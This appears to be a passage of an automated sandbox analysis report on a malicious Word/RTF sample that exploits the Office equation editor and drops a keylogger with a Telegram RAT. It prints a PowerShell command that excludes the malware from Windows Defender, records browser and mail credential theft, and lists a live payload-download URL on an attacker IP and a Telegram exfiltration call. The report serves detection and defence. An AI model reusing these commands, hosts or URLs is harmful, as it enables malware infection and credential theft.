Source: C:\Users\user\AppData\Roaming\obisfd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obisfd.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process created: C:\Users\user\AppData\Roaming\obisfd.exe "C:\Users\user\AppData\Roaming\obisfd.exe" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\obisfd.exe Queries volume information: C:\Users\user\AppData\Roaming\obisfd.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Queries volume information: C:\Users\user\AppData\Roaming\obisfd.exe VolumeInformation Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000007.00000002.923787570.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: obisfd.exe PID: 3544, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: obisfd.exe PID: 3628, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: obisfd.exe PID: 3544, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: obisfd.exe PID: 3628, type: MEMORYSTR
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Roaming\obisfd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\AppData\Roaming\obisfd.exe File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\ Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: obisfd.exe PID: 3544, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: obisfd.exe PID: 3628, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Snake Keylogger
Source: Yara match File source: 00000007.00000002.923787570.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: obisfd.exe PID: 3544, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: obisfd.exe PID: 3628, type: MEMORYSTR
Yara detected VIP Keylogger
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.obisfd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.obisfd.exe.39dd5c0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.923446172.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407054071.00000000037B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.407054071.00000000039DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: obisfd.exe PID: 3544, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: obisfd.exe PID: 3628, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1528051 Sample: PO.doc Startdate: 07/10/2024 Architecture: WINDOWS Score: 100 41 Initial sample is an obfuscated RTF file 2->41 43 Suricata IDS alerts for network traffic 2->43 45 Found malware configuration 2->45 47 24 other signatures 2->47 8 WINWORD.EXE 291 18 2->8         started        process3 file4 27 C:\Users\user\Desktop\~$PO.doc, data 8->27 dropped 11 EQNEDT32.EXE 11 8->11         started        16 EQNEDT32.EXE 8->16         started        process5 dnsIp6 39 154.216.19.160, 49163, 80 SKHT-ASShenzhenKatherineHengTechnologyInformationCo Seychelles 11->39 29 C:\Users\user\AppData\Roaming\obisfd.exe, PE32 11->29 dropped 31 C:\Users\user\...\6FfzLi8FyhIIqWu[1].exe, PE32 11->31 dropped 65 Office equation editor establishes network connection 11->65 67 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->67 18 obisfd.exe 3 11->18         started        file7 signatures8 process9 signatures10 49 Machine Learning detection for dropped file 18->49 51 Adds a directory exclusion to Windows Defender 18->51 53 Injects a PE file into a foreign processes 18->53 21 obisfd.exe 12 2 18->21         started        25 powershell.exe 4 18->25         started        process11 dnsIp12 33 reallyfreegeoip.org 21->33 35 api.telegram.org 21->35 37 8 other IPs or domains 21->37 55 Installs new ROOT certificates 21->55 57 Tries to steal Mail credentials (via file / registry access) 21->57 59 Tries to harvest and steal browser information (history, passwords, etc) 21->59 signatures13 61 Tries to detect the country of the analysis system (by using the IP) 33->61 63 Uses the Telegram API (likely for C&C communication) 35->63
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
132.226.8.169
 unknown United States
16989 UTMEMUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true
188.114.97.3
 unknown European Union
13335 CLOUDFLARENETUS false
193.122.6.168
 unknown United States
31898 ORACLE-BMC-31898US false
188.114.96.3
 reallyfreegeoip.org European Union
13335 CLOUDFLARENETUS true
193.122.130.0
 unknown United States
31898 ORACLE-BMC-31898US false
158.101.44.242
 checkip.dyndns.com United States
31898 ORACLE-BMC-31898US false
154.216.19.160
 unknown Seychelles
135357 SKHT-ASShenzhenKatherineHengTechnologyInformationCo true

Contacted Domains

Name IP Active
reallyfreegeoip.org 188.114.96.3 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 158.101.44.242 true
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:675052%0D%0ADate%20and%20Time:%2010/7/2024%20/%2011:37:00%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20675052%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D false
    		unknown
    https://reallyfreegeoip.org/xml/8.46.123.33 false
    • URL Reputation: safe
    		 unknown
    http://154.216.19.160/txt/6FfzLi8FyhIIqWu.exe true
      		unknown
      http://checkip.dyndns.org/ false
      • URL Reputation: safe
      		 unknown